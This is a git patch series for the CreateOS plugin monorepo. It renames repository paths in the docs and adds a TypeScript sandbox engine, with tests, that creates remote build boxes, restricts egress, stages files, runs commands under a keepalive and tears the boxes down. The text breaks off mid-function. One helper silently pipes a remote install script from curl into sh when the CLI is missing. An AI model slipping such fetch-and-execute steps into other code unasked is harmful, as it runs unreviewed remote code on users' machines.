From 47c852f83126c22d24c08eab567ecb639b40266d Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:54:59 +0530 Subject: [PATCH 1/7] chore: point docs at the renamed repository The repository is now NodeOps-app/createos-plugin; these install paths still named createos-claude-plugins, which resolved only through GitHub's rename redirect. --- packages/dsh-createos/README.md | 4 ++-- packages/dsh-createos/package.json | 4 ++-- packages/herdr-plugin/README.md | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/packages/dsh-createos/README.md b/packages/dsh-createos/README.md index a6066f5..7323b7d 100644 --- a/packages/dsh-createos/README.md +++ b/packages/dsh-createos/README.md @@ -24,7 +24,7 @@ export CREATEOS_SANDBOX_ROOTFS='...' Install the bundle from this monorepo checkout into the Web profile: ```sh -dsh plugin --profile web add /path/to/createos-claude-plugins/packages/dsh-createos +dsh plugin --profile web add /path/to/createos-plugin/packages/dsh-createos ``` Configure a DSH model provider separately, set the CreateOS variables above, and start Web from the workspace path the remote tools should use: @@ -45,7 +45,7 @@ Stop Web with `Ctrl+C`. Plugin teardown destroys the shared sandbox. Install directly from this monorepo while developing: ```sh -dsh plugin --profile headless add /path/to/createos-claude-plugins/packages/dsh-createos +dsh plugin --profile headless add /path/to/createos-plugin/packages/dsh-createos ``` After publication, install the package by registry name: diff --git a/packages/dsh-createos/package.json b/packages/dsh-createos/package.json index 4d7a9f3..7f148a3 100644 --- a/packages/dsh-createos/package.json +++ b/packages/dsh-createos/package.json @@ -23,10 +23,10 @@ ], "repository": { "type": "git", - "url": "git+https://github.com/NodeOps-app/createos-claude-plugins.git", + "url": "git+https://github.com/NodeOps-app/createos-plugin.git", "directory": "packages/dsh-createos" }, - "homepage": "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/NodeOps-app/createos-claude-plugins/tree/main/packages/dsh-createos#readme", + "homepage": "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/NodeOps-app/createos-plugin/tree/main/packages/dsh-createos#readme", "dsh": { "bundle": { "patch": "./cordis.patch.yml" diff --git a/packages/herdr-plugin/README.md b/packages/herdr-plugin/README.md index 3ca488d..0ea19a1 100644 --- a/packages/herdr-plugin/README.md +++ b/packages/herdr-plugin/README.md @@ -90,7 +90,7 @@ unless you pass `--force`. Undo the keys with `herdr config reset-keys`. ### By hand ```bash -herdr plugin install NodeOps-app/createos-claude-plugins/packages/herdr-plugin +herdr plugin install NodeOps-app/createos-plugin/packages/herdr-plugin ``` For local development, link the directory and run the build step yourself. From 3a9ba2c7187d29f6e0bc2a23dd48e9c96bab2391 Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:54:59 +0530 Subject: [PATCH 2/7] feat(shared): add sandbox-engine, a TypeScript port of cos The TypeScript plugins drove `createos sandbox create/exec/rm` directly, which looks like an offload and is not: it drops egress restriction, the keepalive that survives a dropped stream on a long build, guaranteed auto-destroy, and the staging excludes that keep a large .git off the wire. sandbox-engine.ts ports those semantics from scripts/cos so both plugins can share one implementation. Egress selection and box retention are pure functions because they are the two decisions that fail silently: an unrestricted box works perfectly, and a box destroyed after a failed artifact pull takes the only copy of the output with it. --- packages/shared/sandbox-engine.test.ts | 134 ++++ packages/shared/sandbox-engine.ts | 856 +++++++++++++++++++++++++ 2 files changed, 990 insertions(+) create mode 100644 packages/shared/sandbox-engine.test.ts create mode 100644 packages/shared/sandbox-engine.ts diff --git a/packages/shared/sandbox-engine.test.ts b/packages/shared/sandbox-engine.test.ts new file mode 100644 index 0000000..4dc3a71 --- /dev/null +++ b/packages/shared/sandbox-engine.test.ts @@ -0,0 +1,134 @@ +/** + * The two decisions in the engine that fail SILENTLY, which is why they are the + * ones with tests: egress (a wrong preset expansion, or a missing warning when + * nothing is restricted, produces a box that works perfectly and has no + * isolation) and retention (a box destroyed after a failed download takes the + * only copy of the build output with it, and raises nothing at the time). + */ + +import { expect, test } from "bun:test"; +import { + DEFAULT_EXCLUDES, + EGRESS_PRESETS, + cleanupFailureNote, + egressArgs, + retentionReasons, +} from "./sandbox-engine.ts"; + +test("a preset expands to its domains as repeated --egress flags", () => { + const { args, warning } = egressArgs({ egressPresets: ["npm"] }); + expect(args).toEqual(["--egress", "registry.npmjs.org"]); + expect(warning).toBeUndefined(); +}); + +test("presets compose with explicit domains", () => { + const { args } = egressArgs({ egressPresets: ["npm"], egress: ["example.com"] }); + expect(args).toEqual(["--egress", "example.com", "--egress", "registry.npmjs.org"]); +}); + +test("several presets compose", () => { + const { args } = egressArgs({ egressPresets: ["python-uv", "rust-cargo"] }); + const domains = args.filter((a) => a !== "--egress"); + expect(domains).toEqual([...EGRESS_PRESETS["python-uv"], ...EGRESS_PRESETS["rust-cargo"]]); +}); + +test("an unknown preset throws instead of silently allowing everything", () => { + expect(() => egressArgs({ egressPresets: ["pypi"] })).toThrow(/Unknown egress preset 'pypi'/); +}); + +test("no restriction at all warns", () => { + const { args, warning } = egressArgs({}); + expect(args).toEqual([]); + expect(warning).toMatch(/UNRESTRICTED/); +}); + +test("egressAll is deliberate, so it does not warn", () => { + const { args, warning } = egressArgs({ egressAll: true, egressPresets: ["npm"] }); + expect(args).toEqual([]); + expect(warning).toBeUndefined(); +}); + +test("the excludes that keep a repo off the wire are present", () => { + for (const p of [".git", "node_modules", "target", ".venv"]) { + expect(DEFAULT_EXCLUDES).toContain(p); + } +}); + +// --- Retention: the decision that loses data when it is wrong ------------- +// A box torn down after a failed download takes the only complete copy of the +// build output with it, and nothing raises an error at the time. + +test("a clean run retains nothing, so the box is destroyed", () => { + expect(retentionReasons({ sandboxId: "sb-1", infraFailure: false, exitCode: 0 })).toEqual([]); +}); + +test("a failed artifact pull retains the box even though the command succeeded", () => { + const reasons = retentionReasons({ + sandboxId: "sb-1", + infraFailure: false, + exitCode: 0, + artifactPullFailed: true, + out: "dist", + dir: "/tmp/project", + }); + expect(reasons).toHaveLength(1); + expect(reasons[0]).toMatch(/KEPT/); + expect(reasons[0]).toContain("sb-1"); + expect(reasons[0]).toContain("dist"); +}); + +test("keepOnFail does not cover a failed pull, so both are reported", () => { + const reasons = retentionReasons({ + sandboxId: "sb-1", + infraFailure: false, + exitCode: 1, + keepOnFail: true, + artifactPullFailed: true, + out: "dist", + }); + expect(reasons).toHaveLength(2); +}); + +test("a failed pull on a failed command still retains the box", () => { + // keepOnFail is off: without the pull check this is the case that destroys + // a box the caller still needs. + const reasons = retentionReasons({ + sandboxId: "sb-1", + infraFailure: false, + exitCode: 1, + keepOnFail: false, + artifactPullFailed: true, + out: "dist", + }); + expect(reasons).toHaveLength(1); + expect(reasons[0]).toMatch(/pull of 'dist' FAILED/); +}); + +test("an infra failure retains the box and says how to reattach", () => { + const reasons = retentionReasons({ sandboxId: "sb-1", infraFailure: true }); + expect(reasons).toHaveLength(1); + expect(reasons[0]).toContain("createos sandbox exec --stream sb-1"); +}); + +test("a nonzero exit without keepOnFail retains nothing", () => { + expect(retentionReasons({ sandboxId: "sb-1", infraFailure: false, exitCode: 1 })).toEqual([]); +}); + +test("a successful pull retains nothing", () => { + expect( + retentionReasons({ + sandboxId: "sb-1", + infraFailure: false, + exitCode: 0, + artifactPullFailed: false, + out: "dist", + }), + ).toEqual([]); +}); + +test("a failed teardown names the box that is still costing money", () => { + const note = cleanupFailureNote("sb-1", "connection timed out"); + expect(note).toMatch(/STILL ALLOCATED/); + expect(note).toContain("createos sandbox rm -y sb-1"); + expect(note).toContain("connection timed out"); +}); diff --git a/packages/shared/sandbox-engine.ts b/packages/shared/sandbox-engine.ts new file mode 100644 index 0000000..6892fb6 --- /dev/null +++ b/packages/shared/sandbox-engine.ts @@ -0,0 +1,856 @@ +/** + * sandbox-engine.ts — the `cos` driver's semantics, in TypeScript. + * + * CANONICAL COPY: packages/shared/sandbox-engine.ts. The copies under + * packages//src/ are written by scripts/sync-shared.sh and CI fails on + * drift — edit this file, then run the script. + * + * Why it exists: driving `createos sandbox create/push/exec/rm` directly looks + * equivalent to an offload and is not. It drops egress restriction, the + * keepalive that survives a dropped exec stream on a long build, guaranteed + * auto-destroy, and the staging excludes that keep a 2 GB `.git` off the wire. + * Ported from packages/claude-code-plugin/scripts/cos — keep the two in step. + * + * Self-contained on purpose: no harness imports, no dependencies, so the same + * file drops into any TypeScript plugin. + */ + +import { execSync } from "node:child_process"; +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; + +// --------------------------------------------------------------------------- +// Shared constants — mirrored from cos +// --------------------------------------------------------------------------- + +/** Registries + CDNs a build of that ecosystem actually reaches. */ +export const EGRESS_PRESETS: Record = { + "python-uv": ["astral.sh", "releases.astral.sh", "pypi.org", "files.pythonhosted.org"], + "rust-cargo": [ + "crates.io", + "static.crates.io", + "index.crates.io", + "static.rust-lang.org", + "cdn.pyke.io", + ], + npm: ["registry.npmjs.org"], + github: [ + "github.com", + "objects.githubusercontent.com", + "raw.githubusercontent.com", + "codeload.github.com", + ], +}; + +/** Never staged unless the caller asks: VCS metadata, build output, big media. */ +export const DEFAULT_EXCLUDES = [ + ".git", + "target", + "node_modules", + "__pycache__", + ".venv", + ".mypy_cache", + ".pytest_cache", + ".gradle", + ".cargo/registry", + "dist", + "build", + ".next", + ".turbo", + "*.gif", + "*.mp4", + "*.mov", + "*.zst", +]; + +const CREATEOS_DIR = `${homedir()}/.createos`; +const REMOTE_RC = "/tmp/.cos-run.rc"; +const REMOTE_PID = "/tmp/.cos-run.pid"; +const REMOTE_LOG = "/tmp/.cos-run.log"; + +// --------------------------------------------------------------------------- +// Shell + CLI plumbing +// --------------------------------------------------------------------------- + +export interface ExecResult { + code: number; + stdout: string; + stderr: string; +} + +function shq(arg: string): string { + return `'${arg.replace(/'/g, `'\\''`)}'`; +} + +/** + * Runs under bash with `pipefail`, matching the `cos` driver's `set -euo pipefail`. + * + * This is load-bearing, not tidiness. Both pipelines here put `createos` on one + * side of a pipe and `tar` on the other, and GNU tar writes a well-formed EMPTY + * archive when the path it was asked for is missing — so the receiving tar + * succeeds, the default /bin/sh pipeline reports the exit status of that last + * command only, and a failed artifact pull reads as a successful one. The box + * holding the only copy of the output then gets destroyed. Verified against a + * live sandbox: remote `tar -c no-such-dir` exits 2, receiving tar exits 0. + */ +export function execShell(cmd: string, timeoutMs = 120_000): ExecResult { + try { + const stdout = execSync(`set -o pipefail; ${cmd}`, { + shell: "/bin/bash", + encoding: "utf-8", + timeout: timeoutMs, + maxBuffer: 64 * 1024 * 1024, + stdio: ["pipe", "pipe", "pipe"], + }); + return { code: 0, stdout, stderr: "" }; + } catch (err: any) { + return { + code: err.status ?? 1, + stdout: err.stdout?.toString() ?? "", + stderr: err.stderr?.toString() ?? "", + }; + } +} + +function cliCmd(args: string[]): string { + return ["createos", ...args.map((a) => (a === "--" ? "--" : shq(a)))].join(" "); +} + +function cli(args: string[], timeoutMs?: number): ExecResult { + return execShell(cliCmd(args), timeoutMs); +} + +/** + * `createos login` is an interactive TTY prompt that opens a browser, so an + * agent shell cannot fix a missing session itself. Fail with the two options a + * user can actually act on rather than with a raw CLI error. + */ +export function assertAuth(): void { + if (cli(["-o", "json", "sandbox", "shapes"]).code === 0) return; + throw new Error( + "Not signed in to CreateOS. Ask the user to either run `createos login` in their own " + + "terminal (browser OAuth), or export CREATEOS_API_KEY in the shell that launched the " + + "agent. Never ask them to paste an API key into the conversation.", + ); +} + +const CLI_INSTALL_URL = + "https://raw.githubusercontent.com/NodeOps-app/createos-cli/main/install.sh"; + +/** Install the createos CLI if it is missing. Opt out with COS_NO_AUTOINSTALL=1. */ +export function ensureCLI(): boolean { + if (cli(["version"]).code === 0) return true; + if (process.env.COS_NO_AUTOINSTALL) return false; + execShell(`curl -sfL ${shq(CLI_INSTALL_URL)} | sh -`, 300_000); + return cli(["version"]).code === 0; +} + +// --------------------------------------------------------------------------- +// Box lifecycle +// --------------------------------------------------------------------------- + +export interface SandboxRow { + id: string; + name?: string; + status?: string; + [key: string]: unknown; +} + +function listBoxes(): SandboxRow[] { + const res = cli(["-o", "json", "sandbox", "ls"]); + if (res.code !== 0) return []; + try { + const parsed = JSON.parse(res.stdout); + return Array.isArray(parsed) ? parsed : (parsed.data ?? []); + } catch { + return []; + } +} + +export function boxStatus(id: string): string | undefined { + return listBoxes().find((b) => b.id === id)?.status; +} + +function sleep(ms: number): Promise { + return new Promise((r) => setTimeout(r, ms)); +} + +/** Poll until the box reports `running` — a race guard before the first push. */ +export async function waitRunning(id: string, timeoutSec = 30): Promise { + for (let i = 0; i < timeoutSec; i++) { + if (boxStatus(id) === "running") return true; + await sleep(1000); + } + return false; +} + +export interface EgressOptions { + /** Explicit domains to allow. */ + egress?: string[]; + /** Preset names from EGRESS_PRESETS; composes with `egress`. */ + egressPresets?: string[]; + /** Unrestricted egress — only for a trusted offload. */ + egressAll?: boolean; +} + +export function egressArgs(opts: EgressOptions): { args: string[]; warning?: string } { + if (opts.egressAll) return { args: [], warning: undefined }; + const domains = [ + ...(opts.egress ?? []), + ...(opts.egressPresets ?? []).flatMap((p) => { + const preset = EGRESS_PRESETS[p]; + if (!preset) { + throw new Error( + `Unknown egress preset '${p}' — have: ${Object.keys(EGRESS_PRESETS).join(", ")}`, + ); + } + return preset; + }), + ]; + if (domains.length === 0) { + return { + args: [], + warning: + "egress UNRESTRICTED — the box can reach any host. Restrict it with egressPresets or egress.", + }; + } + return { args: domains.flatMap((d) => ["--egress", d]) }; +} + +export interface CreateBoxOptions extends EgressOptions { + name: string; + shape?: string; + rootfs?: string; + network?: string; + /** Idle auto-pause backstop so a forgotten box parks itself. */ + autoPause?: string; +} + +export function createBox(opts: CreateBoxOptions): { id: string; warning?: string } { + const shape = opts.shape ?? "s-1vcpu-1gb"; + const rootfs = opts.rootfs ?? "devbox:1"; + const { args: eArgs, warning } = egressArgs(opts); + + const args = [ + "sandbox", + "create", + "--name", + opts.name, + "--shape", + shape, + "--rootfs", + rootfs, + "--auto-pause", + opts.autoPause ?? "30m", + ...(opts.network ? ["--network", opts.network] : []), + ...eArgs, + ]; + + const res = execShell(`NO_COLOR=1 TERM=dumb ${cliCmd(args)}`); + if (res.code !== 0) { + const err = `${res.stdout}\n${res.stderr}`; + // The CLI names the allowed shapes in the rejection; surfacing that list is + // the difference between a fixable error and "create failed". + const choices = /choices: ?\[([^\]]*)\]/.exec(err); + if (choices) { + throw new Error( + `Shape '${shape}' is not allowed on this plan. Allowed: ${choices[1]} ` + + `(list them with \`createos sandbox shapes\`)`, + ); + } + throw new Error(`Sandbox create failed: ${err.trim().split("\n").slice(-3).join(" ")}`); + } + + const id = listBoxes().find((b) => b.name === opts.name)?.id; + if (!id) throw new Error(`Created box '${opts.name}' but could not resolve its id`); + return { id, warning }; +} + +/** + * Destroying a box is the one step whose failure is invisible: the offload has + * already produced its answer, so a swallowed error here reads as success while + * the box keeps running and billing. Report it instead of discarding it. + */ +export function destroyBox(id: string): { ok: boolean; error?: string } { + const res = cli(["sandbox", "rm", "-y", id]); + if (res.code === 0) return { ok: true }; + return { ok: false, error: (res.stderr || res.stdout).trim().split("\n").slice(-1)[0] }; +} + +// --------------------------------------------------------------------------- +// Staging +// --------------------------------------------------------------------------- + +/** + * tar the directory straight into the box. The stream is piped, so a large tree + * never lands on disk twice, and the excludes are applied before the bytes are + * sent rather than after. + */ +export function stage(id: string, dir: string, extraExcludes: string[] = []): void { + const excludes = [...DEFAULT_EXCLUDES, ...extraExcludes] + .map((p) => `--exclude ${shq(p)}`) + .join(" "); + const push = execShell( + `tar ${excludes} -c -C ${shq(dir)} . | ${cliCmd(["sandbox", "push", id, "-", "/work.tar"])}`, + 600_000, + ); + if (push.code !== 0) { + throw new Error(`Staging ${dir} failed: ${(push.stderr || push.stdout).trim()}`); + } + const extract = cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + "mkdir -p /work && tar -C /work -xf /work.tar && rm -f /work.tar", + ]); + if (extract.code !== 0) { + throw new Error(`Extracting the staged archive failed: ${extract.stderr.trim()}`); + } +} + +/** Pull a path under /work back into the local directory. */ +export function pullArtifacts(id: string, dir: string, out: string): boolean { + // Probe first: pipefail catches the remote tar's failure, but an explicit + // existence check is what makes the warning's "does /work/ exist?" + // actually true, and it costs one exec. + const probe = cli(["sandbox", "exec", id, "--", "bash", "-lc", `ls -d /work/${out}`]); + if (probe.code !== 0) return false; + const res = execShell( + `${cliCmd(["sandbox", "exec", id, "--", "bash", "-lc", `cd /work && tar -c ${out}`])} | tar -x -C ${shq(dir)}`, + 600_000, + ); + return res.code === 0; +} + +// --------------------------------------------------------------------------- +// Keepalive exec +// --------------------------------------------------------------------------- + +export interface KeepaliveResult { + /** Real exit code of the command, or undefined when the box never reported one. */ + exitCode?: number; + log: string; + /** The command's process vanished without writing an exit code. */ + infraFailure: boolean; +} + +/** + * Run a command in the box so that it survives the exec stream dying. + * + * The command is detached under nohup and writes its exit code to a file; this + * side only polls for that file. A dropped connection mid-build therefore costs + * one poll, not the build — which is the entire reason offload does not just + * call `createos sandbox exec` and read the pipe. + */ +export async function runKeepalive( + id: string, + command: string, + workdir = "/work", + opts: { pollMs?: number; timeoutMs?: number } = {}, +): Promise { + const pollMs = opts.pollMs ?? 5_000; + const deadline = Date.now() + (opts.timeoutMs ?? 6 * 60 * 60 * 1000); + const b64 = Buffer.from(command, "utf-8").toString("base64"); + + const runner = + `CMD=$(printf %s "$1" | base64 -d); cd "\${2:-$HOME}" 2>/dev/null || cd /; ` + + `rm -f ${REMOTE_RC} ${REMOTE_PID}; ` + + `nohup bash -c 'bash -lc "$0"; echo $? > ${REMOTE_RC}' "$CMD" > ${REMOTE_LOG} 2>&1 ${REMOTE_PID}`; + + const started = cli(["sandbox", "exec", id, "--", "bash", "-lc", runner, "_", b64, workdir]); + if (started.code !== 0) { + throw new Error(`Failed to start the remote command: ${started.stderr.trim()}`); + } + + while (Date.now() < deadline) { + await sleep(pollMs); + const rc = cli(["sandbox", "exec", id, "--", "bash", "-c", `cat ${REMOTE_RC} 2>/dev/null`]); + const parsed = rc.stdout.replace(/\D/g, "").slice(0, 4); + if (rc.code === 0 && parsed !== "") { + return { exitCode: Number(parsed), log: tailLog(id), infraFailure: false }; + } + const alive = cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + `p=$(cat ${REMOTE_PID} 2>/dev/null); { [ -n "$p" ] && kill -0 "$p" 2>/dev/null && echo ALIVE; } || echo DEAD`, + ]); + // A failed poll is not a dead build — the CLI call itself can drop. Only a + // definite DEAD with no exit code means the process is gone. + if (alive.code === 0 && alive.stdout.includes("DEAD")) { + return { exitCode: undefined, log: tailLog(id), infraFailure: true }; + } + } + return { exitCode: undefined, log: tailLog(id), infraFailure: true }; +} + +function tailLog(id: string, lines = 200): string { + const res = cli(["sandbox", "exec", id, "--", "bash", "-c", `tail -n ${lines} ${REMOTE_LOG}`]); + return res.stdout.trimEnd(); +} + +// --------------------------------------------------------------------------- +// One-shot offload +// --------------------------------------------------------------------------- + +export interface OffloadOptions extends EgressOptions { + /** Local directory staged to /work in the box. */ + dir: string; + command: string; + shape?: string; + rootfs?: string; + /** Extra upload excludes on top of DEFAULT_EXCLUDES. */ + exclude?: string[]; + /** Path under /work to pull back into `dir` when the command finishes. */ + out?: string; + /** GB of swap to add before running — OOM headroom for compiled builds. */ + swapGB?: number; + /** Keep the box when the command exits non-zero, for debugging. */ + keepOnFail?: boolean; + timeoutMs?: number; +} + +export interface OffloadResult { + sandboxId: string; + exitCode?: number; + log: string; + /** The box was deliberately left running; the caller must say so. */ + kept: boolean; + warnings: string[]; + pulledArtifacts?: boolean; +} + +export interface RetentionState { + sandboxId: string; + /** The command's process vanished without writing an exit code. */ + infraFailure: boolean; + exitCode?: number; + keepOnFail?: boolean; + /** An `out` was requested and the download did not succeed. */ + artifactPullFailed?: boolean; + out?: string; + dir?: string; +} + +/** + * Every reason the box must outlive the offload, as caller-facing text. An + * empty list means it is safe to destroy — that is the ONLY thing that + * authorises deletion. + * + * This is a pure function because it is the decision that loses data when it is + * wrong: a box torn down after a failed download takes the only complete copy + * of the build output with it, and no error is raised at the time. + */ +export function retentionReasons(state: RetentionState): string[] { + const reasons: string[] = []; + + if (state.infraFailure) { + reasons.push( + `infra/stream failure — box ${state.sandboxId} kept so the build cache survives. ` + + `Reconnect: createos sandbox exec --stream ${state.sandboxId} -- bash -lc 'tail -f ${REMOTE_LOG}'. ` + + `Destroy: createos sandbox rm -y ${state.sandboxId}`, + ); + } else if (state.exitCode !== 0 && state.keepOnFail) { + reasons.push( + `command exited ${state.exitCode} — box ${state.sandboxId} kept. ` + + `Destroy: createos sandbox rm -y ${state.sandboxId}`, + ); + } + + // Deliberately not an `else`: the output is still on the box whatever the + // exit code was, and destroying it is unrecoverable. + if (state.artifactPullFailed) { + const out = state.out ?? "the requested path"; + reasons.push( + `pull of '${out}' FAILED — artifacts were NOT retrieved, so box ${state.sandboxId} is KEPT ` + + `rather than destroyed with the only copy on it. Check that /work/${out} exists, then retry: ` + + `createos sandbox exec ${state.sandboxId} -- bash -lc 'cd /work && tar -c ${out}' | tar -x -C ${state.dir ?? "."}. ` + + `Destroy when you have what you need: createos sandbox rm -y ${state.sandboxId}`, + ); + } + + return reasons; +} + +/** + * A teardown that fails leaves the box running and billing, so it must reach + * the caller as loudly as a retained box does — `kept` becomes true because the + * box really is still there, whatever the caller asked for. + */ +export function cleanupFailureNote(sandboxId: string, error?: string): string { + return ( + `cleanup FAILED — sandbox ${sandboxId} is STILL ALLOCATED and still costing. ` + + `Destroy it by hand: createos sandbox rm -y ${sandboxId}` + + (error ? ` (${error})` : "") + ); +} + +/** + * Stage → run (keepalive) → pull → destroy, in one call. + * + * The box is torn down on every path, including a throw — but only when + * retentionReasons() says nothing needs it: an infra failure keeps the build + * cache, `keepOnFail` keeps a failed run for debugging, and a failed artifact + * pull keeps the only copy of the output. A teardown that itself fails is + * reported rather than swallowed, since the box goes on billing either way. + */ +export async function offload(opts: OffloadOptions): Promise { + assertAuth(); + const warnings: string[] = []; + const shape = opts.shape ?? "s-1vcpu-1gb"; + + // A compiled build on a 1 GB box dies with OOM or ENOSPC halfway through, + // which reads as a code failure rather than an undersized box. + const heavy = /cargo|maturin|torch|pip install|uv sync|uv run|pyo3/.test(opts.command); + if (heavy && /256mb|512mb|-1gb/.test(shape) && !opts.swapGB) { + warnings.push( + `heavy build on a small box (${shape}) — risk of OOM/ENOSPC. Try shape 's-2vcpu-2gb' or swapGB: 4.`, + ); + } + + const name = `cos-o-${process.pid}-${Math.floor(Math.random() * 32768)}`; + const { id, warning } = createBox({ ...opts, name, shape }); + if (warning) warnings.push(warning); + + let kept = false; + let result: OffloadResult | undefined; + let thrown: unknown; + + try { + if (!(await waitRunning(id))) throw new Error(`Box ${id} was not running after 30s`); + stage(id, opts.dir, opts.exclude); + if (opts.swapGB) setupSwap(id, opts.swapGB); + + const run = await runKeepalive(id, opts.command, "/work", { timeoutMs: opts.timeoutMs }); + + let pulledArtifacts: boolean | undefined; + if (opts.out) pulledArtifacts = pullArtifacts(id, opts.dir, opts.out); + + const reasons = retentionReasons({ + sandboxId: id, + infraFailure: run.infraFailure, + exitCode: run.exitCode, + keepOnFail: opts.keepOnFail, + artifactPullFailed: pulledArtifacts === false, + out: opts.out, + dir: opts.dir, + }); + kept = reasons.length > 0; + warnings.push(...reasons); + + result = { + sandboxId: id, + exitCode: run.exitCode, + log: run.log, + kept, + warnings, + pulledArtifacts, + }; + } catch (error) { + thrown = error; + } + + // Not in `finally`: a failed teardown has to reach the caller, and swallowing + // it there is exactly how a box keeps billing while the result says destroyed. + if (!kept) { + const destroyed = destroyBox(id); + if (!destroyed.ok) { + const note = cleanupFailureNote(id, destroyed.error); + if (result) { + result.kept = true; + result.warnings.push(note); + } else { + thrown = new Error( + `${thrown instanceof Error ? thrown.message : String(thrown)} — ${note}`, + ); + } + } + } + + if (thrown) throw thrown; + return result as OffloadResult; +} + +function setupSwap(id: string, gb: number): void { + if (!Number.isInteger(gb) || gb < 1 || gb > 64) { + throw new Error(`swapGB must be a whole number of GB between 1 and 64, got ${gb}`); + } + cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + `swapon --show 2>/dev/null | grep -q /cos.swap && exit 0; ` + + `( fallocate -l ${gb}G /cos.swap 2>/dev/null || dd if=/dev/zero of=/cos.swap bs=1M count=$(( ${gb}*1024 )) status=none 2>/dev/null ) ` + + `&& chmod 600 /cos.swap && mkswap /cos.swap >/dev/null 2>&1 && swapon /cos.swap 2>/dev/null || true`, + ]); +} + +// --------------------------------------------------------------------------- +// Fanout +// --------------------------------------------------------------------------- + +export interface FanoutOptions extends Omit { + commands: string[]; + /** Max boxes running at once. External keys have been observed to allow 2. */ + jobs?: number; +} + +export interface FanoutResult extends OffloadResult { + command: string; +} + +/** + * Run each command in its own throwaway box, `jobs` at a time. + * + * Concurrency is capped rather than unbounded because the control plane limits + * how many boxes an account may run at once — an unbounded fan-out just + * converts that limit into a pile of create failures. + */ +export async function fanout(opts: FanoutOptions): Promise { + const jobs = Math.max(1, opts.jobs ?? 2); + const queue = opts.commands.map((command, index) => ({ command, index })); + const results: FanoutResult[] = Array.from({ length: opts.commands.length }); + + async function worker(): Promise { + for (;;) { + const item = queue.shift(); + if (!item) return; + try { + const res = await offload({ ...opts, command: item.command }); + results[item.index] = { ...res, command: item.command }; + } catch (err: any) { + results[item.index] = { + command: item.command, + sandboxId: "", + exitCode: undefined, + log: String(err?.message ?? err), + kept: false, + warnings: ["offload threw before the command ran"], + }; + } + } + } + + await Promise.all(Array.from({ length: Math.min(jobs, queue.length) }, worker)); + return results; +} + +// --------------------------------------------------------------------------- +// Desktop / computer use +// --------------------------------------------------------------------------- + +/** + * `createos` has no computer or desktop command, so this is the only place the + * engine talks to the REST API directly. When the CLI grows a `sandbox + * computer` group, delete apiAuth()/api() and shell out like everything else. + */ +function apiBase(): string { + return process.env.CREATEOS_SANDBOX_URL ?? "https://api.sb.createos.sh"; +} + +/** + * Auth precedence MUST match the CLI's: an OAuth session wins, an api key is + * the fallback. Inverting it authenticates these calls as a different identity + * than every CLI-driven verb, and the symptom is a 404 on a box this process + * just created — which reads like a missing box, not an auth mismatch. + * + * fc rejects `Bearer` on user-facing routes and rejects a JWT sent under + * X-Api-Key, so the two headers are not interchangeable. + */ +function apiAuth(): Record { + const oauthPath = `${CREATEOS_DIR}/.oauth`; + if (existsSync(oauthPath)) { + try { + const oauth = JSON.parse(readFileSync(oauthPath, "utf-8")); + const expiresAt = Number(oauth.expires_at ?? 0); + // No refresh implementation here on purpose: the CLI refreshes in its own + // pre-flight and rewrites ~/.createos/.oauth, so poke it and re-read + // rather than carrying a second, subtly different refresh. + if (Date.now() / 1000 >= expiresAt - 60) { + cli(["-o", "json", "sandbox", "ls"]); + } + const token = JSON.parse(readFileSync(oauthPath, "utf-8")).access_token; + if (token) return { "X-Access-Token": token }; + } catch { + // fall through to key-based auth + } + } + if (process.env.CREATEOS_API_KEY) return { "X-Api-Key": process.env.CREATEOS_API_KEY }; + const tokenPath = `${CREATEOS_DIR}/.token`; + if (existsSync(tokenPath)) { + return { "X-Api-Key": readFileSync(tokenPath, "utf-8").trim() }; + } + throw new Error("Not signed in — run `createos login` or export CREATEOS_API_KEY"); +} + +/** + * Map the computer API's codes onto something actionable. Worth doing by hand: + * `desktop_unavailable` is fc's catch-all for every X failure, so the raw + * message never says whether the desktop is still booting or the action failed + * on a live desktop. + */ +function apiError(status: number, body: string, what: string): Error { + let message = ""; + try { + const parsed = JSON.parse(body); + message = parsed.message ?? parsed.error ?? ""; + } catch { + /* body was not JSON */ + } + switch (status) { + case 401: + case 403: + return new Error( + `Auth rejected (HTTP ${status}). The API key or browser session is invalid or expired — ` + + `ask the user to re-run \`createos login\`, or export CREATEOS_API_KEY.`, + ); + case 404: + return new Error( + `Not found (HTTP 404): ${message || what}. Either the box is gone, or it has no such ` + + `screen — computer-use needs a desktop image (start one with the desktop tool).`, + ); + case 409: + return new Error( + `The desktop did not answer (HTTP 409 ${message || "desktop_unavailable"}). fc returns ` + + `this both while the desktop is still booting AND when an action fails on a live ` + + `desktop, so do not read it as "the box is broken" — bring the desktop up first.`, + ); + case 429: + return new Error("Rate limited (429) — the control plane caps concurrent screenshots."); + case 501: + return new Error( + "501 desktop_tools_unavailable — this rootfs has no desktop tools. Recreate the box on the desktop image.", + ); + default: + return new Error(`API error HTTP ${status} on ${what}${message ? `: ${message}` : ""}`); + } +} + +async function api(method: string, path: string, body?: unknown): Promise { + const res = await fetch(`${apiBase()}${path}`, { + method, + headers: { + ...apiAuth(), + ...(body === undefined ? {} : { "Content-Type": "application/json" }), + }, + body: body === undefined ? undefined : JSON.stringify(body), + }); + const text = await res.text(); + if (!res.ok) throw apiError(res.status, text, `${method} ${path}`); + try { + const parsed = JSON.parse(text); + return parsed.data ?? parsed; + } catch { + return text; + } +} + +/** + * The desktop stack (Xvfb → XFCE → x11vnc → websockify) starts AFTER the box + * reports `running`, so every computer call 404s or 409s for the first while. + * Neither fc nor the SDK polls for this, so every caller has to. + */ +export async function desktopWait( + id: string, + screen = "screen-0", + timeoutSec = 120, +): Promise { + const deadline = Date.now() + timeoutSec * 1000; + while (Date.now() < deadline) { + const res = await fetch( + `${apiBase()}/v1/sandboxes/${encodeURIComponent(id)}/computer/screen?screen_id=${encodeURIComponent(screen)}`, + { + headers: apiAuth(), + }, + 